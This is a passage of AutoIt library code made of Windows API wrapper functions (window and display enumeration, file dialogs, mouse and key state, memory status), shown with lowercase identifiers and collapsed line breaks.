= DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $in = DllStructGetData($tdevice, "Flags") If BitAND($in, $display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1) If BitAND($in, $display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2) If BitAND($in, $display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4) If BitAND($in, $display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8) If BitAND($in, $display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16) If BitAND($in, $display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32) $adevice[0] = True $adevice[1] = DllStructGetData($tdevice, "Name") $adevice[2] = DllStructGetData($tdevice, "String") $adevice[3] = $iflags $adevice[4] = DllStructGetData($tdevice, "ID") Return $adevice EndFunc Func _winapi_enumwindows($bvisible = True, $hwnd = Default) __winapi_enumwindowsinit() If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow() __winapi_enumwindowschild($hwnd, $bvisible) Return $__g_awinlist_winapi EndFunc Func __winapi_enumwindowsadd($hwnd, $sclass = "") If $sclass = "" Then $sclass = _winapi_getclassname($hwnd) $__g_awinlist_winapi[0][0] += 1 Local $icount = $__g_awinlist_winapi[0][0] If $icount >= $__g_awinlist_winapi[0][1] Then ReDim $__g_awinlist_winapi[$icount + 64][2] $__g_awinlist_winapi[0][1] += 64 EndIf $__g_awinlist_winapi[$icount][0] = $hwnd $__g_awinlist_winapi[$icount][1] = $sclass EndFunc Func __winapi_enumwindowschild($hwnd, $bvisible = True) $hwnd = _winapi_getwindow($hwnd, $gw_child) While $hwnd <> 0 If (NOT $bvisible) OR _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd) __winapi_enumwindowschild($hwnd, $bvisible) EndIf $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext) WEnd EndFunc Func __winapi_enumwindowsinit() ReDim $__g_awinlist_winapi[64][2] $__g_awinlist_winapi[0][0] = 0 $__g_awinlist_winapi[0][1] = 64 EndFunc Func _winapi_enumwindowspopup() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child) Local $sclass While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then $sclass = _winapi_getclassname($hwnd) If $sclass = "#32768" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolbarWindow32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolTips_Class32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "BaseBar" Then __winapi_enumwindowschild($hwnd) EndIf EndIf $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext) WEnd Return $__g_awinlist_winapi EndFunc Func _winapi_enumwindowstop() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child) While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd) $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext) WEnd Return $__g_awinlist_winapi EndFunc Func _winapi_expandenvironmentstrings($sstring) Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "") Return $aresult[2] EndFunc Func _winapi_extracticonex($sfilepath, $iindex, $palarge, $pasmall, $iicons) Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfilepath, "int", $iindex, "struct*", $palarge, "struct*", $pasmall, "uint", $iicons) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_fatalappexit($smessage) DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_fillrect($hdc, $trect, $hbrush) Local $aresult If IsPtr($hbrush) Then $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush) Else $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "dword_ptr", $hbrush) EndIf If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_findexecutable($sfilename, $sdirectory = "") Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "") If @error Then Return SetError(@error, @extended, "") If $aresult[0] <= 32 Then Return SetError(10, $aresult[0], "") Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_findwindow($sclassname, $swindowname) Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_flashwindow($hwnd, $binvert = True) Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $binvert) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0) Local $tflash = DllStructCreate($tagflashwinfo) Local $iflash = DllStructGetSize($tflash) Local $imode = 0 If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $flashw_caption) If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $flashw_tray) If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $flashw_timer) If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $flashw_timernofg) DllStructSetData($tflash, "Size", $iflash) DllStructSetData($tflash, "hWnd", $hwnd) DllStructSetData($tflash, "Flags", $imode) DllStructSetData($tflash, "Count", $icount) DllStructSetData($tflash, "Timeout", $itimeout) Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_floattoint($nfloat) Local $tfloat = DllStructCreate("float") Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat)) DllStructSetData($tfloat, 1, $nfloat) Return DllStructGetData($tint, 1) EndFunc Func _winapi_flushfilebuffers($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments) Local $sbuffertype = "struct*" If IsString($pbuffer) Then $sbuffertype = "wstr" Local $aresult = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "struct*", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0) If $sbuffertype = "wstr" Then $pbuffer = $aresult[5] Return $aresult[0] EndFunc Func _winapi_framerect($hdc, $trect, $hbrush) Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_freelibrary($hmodule) Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getancestor($hwnd, $iflags = 1) Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getasynckeystate($ikey) Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getbkmode($hdc) Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getclassname($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getclientheight($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getclientwidth($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getclientrect($hwnd) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $trect EndFunc Func _winapi_getcurrentprocess() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentprocessid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthread() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthreadid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcursorinfo() Local $tcursor = DllStructCreate($tagcursorinfo) Local $icursor = DllStructGetSize($tcursor) DllStructSetData($tcursor, "Size", $icursor) Local $aret = DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $acursor[5] $acursor[0] = True $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0 $acursor[2] = DllStructGetData($tcursor, "hCursor") $acursor[3] = DllStructGetData($tcursor, "X") $acursor[4] = DllStructGetData($tcursor, "Y") Return $acursor EndFunc Func _winapi_getdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdesktopwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdevicecaps($hdc, $iindex) Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdibits($hdc, $hbitmap, $istartscan, $iscanlines, $pbits, $tbi, $iusage) Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbitmap, "uint", $istartscan, "uint", $iscanlines, "struct*", $pbits, "struct*", $tbi, "uint", $iusage) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getdlgctrlid($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdlgitem($hwnd, $iitemid) Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getfilesizeex($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, -1) Return $aresult[2] EndFunc Func _winapi_getfocus() Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getforegroundwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getguiresources($iflag = 0, $hprocess = -1) If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess() Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_geticoninfo($hicon) Local $tinfo = DllStructCreate($tagiconinfo) Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $aicon[6] $aicon[0] = True $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0 $aicon[2] = DllStructGetData($tinfo, "XHotSpot") $aicon[3] = DllStructGetData($tinfo, "YHotSpot") $aicon[4] = DllStructGetData($tinfo, "hMask") $aicon[5] = DllStructGetData($tinfo, "hColor") Return $aicon EndFunc Func _winapi_getlasterrormessage() Local $ilasterror = _winapi_getlasterror() Local $tbufferptr = DllStructCreate("ptr") Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0) If @error Then Return SetError(@error, 0, "") Local $stext = "" Local $pbuffer = DllStructGetData($tbufferptr, 1) If $pbuffer Then If $ncount > 0 Then Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer) $stext = DllStructGetData($tbuffer, 1) If StringRight($stext, 2) = @CRLF Then $stext = StringTrimRight($stext, 2) EndIf _winapi_localfree($pbuffer) EndIf Return $stext EndFunc Func _winapi_getlayeredwindowattributes($hwnd, ByRef $itranscolor, ByRef $itransgui, $bcolorref = False) $itranscolor = -1 $itransgui = -1 Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "INT*", $itranscolor, "byte*", $itransgui, "dword*", 0) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0) If NOT $bcolorref Then $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1)) EndIf $itranscolor = $aresult[2] $itransgui = $aresult[3] Return $aresult[4] EndFunc Func _winapi_getmodulehandle($smodulename) Local $smodulenametype = "wstr" If $smodulename = "" Then $smodulename = 0 $smodulenametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getmousepos($btoclient = False, $hwnd = 0) Local $imode = Opt("MouseCoordMode", 1) Local $apos = MouseGetPos() Opt("MouseCoordMode", $imode) Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $apos[0]) DllStructSetData($tpoint, "Y", $apos[1]) If $btoclient AND NOT _winapi_screentoclient($hwnd, $tpoint) Then Return SetError(@error + 20, @extended, 0) Return $tpoint EndFunc Func _winapi_getmouseposx($btoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($btoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "X") EndFunc Func _winapi_getmouseposy($btoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($btoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "Y") EndFunc Func _winapi_getobject($hobject, $isize, $pobject) Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "struct*", $pobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $inulls = 0 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $tagfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing) $tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($tagfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagsex) Local $ares = DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn) If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles) If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then For $x = 1 To $ipathlen If DllStructGetData($tpath, "Path", $x) = Chr(0) Then DllStructSetData($tpath, "Path", "|", $x) $inulls += 1 Else $inulls = 0 EndIf If $inulls = 2 Then ExitLoop Next DllStructSetData($tpath, "Path", Chr(0), $x - 1) $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(DllStructGetData($tpath, "Path"), "|") ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|") Else Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndIf EndFunc Func _winapi_getoverlappedresult($hfile, $toverlapped, ByRef $ibytes, $bwait = False) Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "struct*", $toverlapped, "dword*", 0, "bool", $bwait) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, False) $ibytes = $aresult[3] Return $aresult[0] EndFunc Func _winapi_getparent($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getprocaddress($hmodule, $vname) Local $stype = "str" If IsNumber($vname) Then $stype = "word" Local $aresult = DllCall("kernel32.dll", "ptr", "GetProcAddress", "handle", $hmodule, $stype, $vname) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getprocessaffinitymask($hprocess) Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0) Local $amask[3] $amask[0] = True $amask[1] = $aresult[2] $amask[2] = $aresult[3] Return $amask EndFunc Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $tagfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing) $tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($tagfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagsex) Local $ares = DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn) If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles) Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndFunc Func _winapi_getstockobject($iobject) Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getstdhandle($istdhandle) If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1) Local Const $ahandle[3] = [-10, -11, -12] Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle]) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_getsyscolor($iindex) Local $aresult = DllCall("user32.dll", "INT", "GetSysColor", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsyscolorbrush($iindex) Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsystemmetrics($iindex) Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_gettextextentpoint32($hdc, $stext) Local $tsize = DllStructCreate($tagsize) Local $isize = StringLen($stext) Local $aret = DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tsize EndFunc Func _winapi_gettextmetrics($hdc) Local $ttextmetric = DllStructCreate($tagtextmetric) Local $aret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $ttextmetric EndFunc Func _winapi_getwindow($hwnd, $icmd) Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowheight($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getwindowlong($hwnd, $iindex) Local $sfuncname = "GetWindowLongW" If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowplacement($hwnd) Local $twindowplacement = DllStructCreate($tagwindowplacement) DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement)) Local $aret = DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $twindowplacement EndFunc Func _winapi_getwindowrect($hwnd) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $trect EndFunc Func _winapi_getwindowrgn($hwnd, $hrgn) Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowtext($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid) Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) $ipid = $aresult[2] Return $aresult[0] EndFunc Func _winapi_getwindowwidth($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy) $ix = DllStructGetData($tpoint, "X") $iy = DllStructGetData($tpoint, "Y") EndFunc Func _winapi_globalmemorystatus() Local $tmem = DllStructCreate($tagmemorystatusex) DllStructSetData($tmem, 1, DllStructGetSize($tmem)) Local $aret = DllCall("kernel32.dll", "bool", "GlobalMemoryStatusEx", "struct*", $tmem) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $amem[7] $amem[0] = DllStructGetData($tmem, 2) $amem[1] = DllStructGetData($tmem, 3) $amem[2] = DllStructGetData($tmem, 4) $amem[3] = DllStructGetData($tmem, 5) $amem[4] = DllStructGetData($tmem, 6) $amem[5] = DllStructGetData($tmem, 7) $amem[6] = DllStructGetData($tmem, 8) Return $amem EndFunc Func _winapi_guidfromstring($sguid) Local $tguid = DllStructCreate($tagguid) _winapi_guidfromstringex($sguid, $tguid) If @error Then Return SetError(@error + 10, @extended, 0) Return $tguid EndFunc Func _winapi_guidfromstringex($sguid, $tguid) Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $tguid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_hiword($ilong) Return BitShift($ilong, 16) EndFunc Func _winapi_inprocess($hwnd, ByRef $hlastwnd) If $hwnd = $hlastwnd Then Return True For $ii = $__g_ainprocess_winapi[0][0] To 1 Step -1 If $hwnd = $__g_ainprocess_winapi[$ii][0] Then If $__g_ainprocess_winapi[$ii][1] Then $hlastwnd = $hwnd Return True Else Return False EndIf EndIf Next Local $ipid _winapi_getwindowthreadprocessid($hwnd, $ipid) Local $icount = $__g_ainprocess_winapi[0][0] + 1 If $icount >= 64 Then $icount = 1 $__g_ainprocess_winapi[0][0] = $icount $__g_ainprocess_winapi[$icount][0] = $hwnd $__g_ainprocess_winapi[$icount][1] = ($ipid = @AutoItPID) Return $__g_ainprocess_winapi[$icount][1] EndFunc Func _winapi_inttofloat($iint) Local $tint = DllStructCreate("int") Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint)) DllStructSetData($tint, 1, $iint) Return 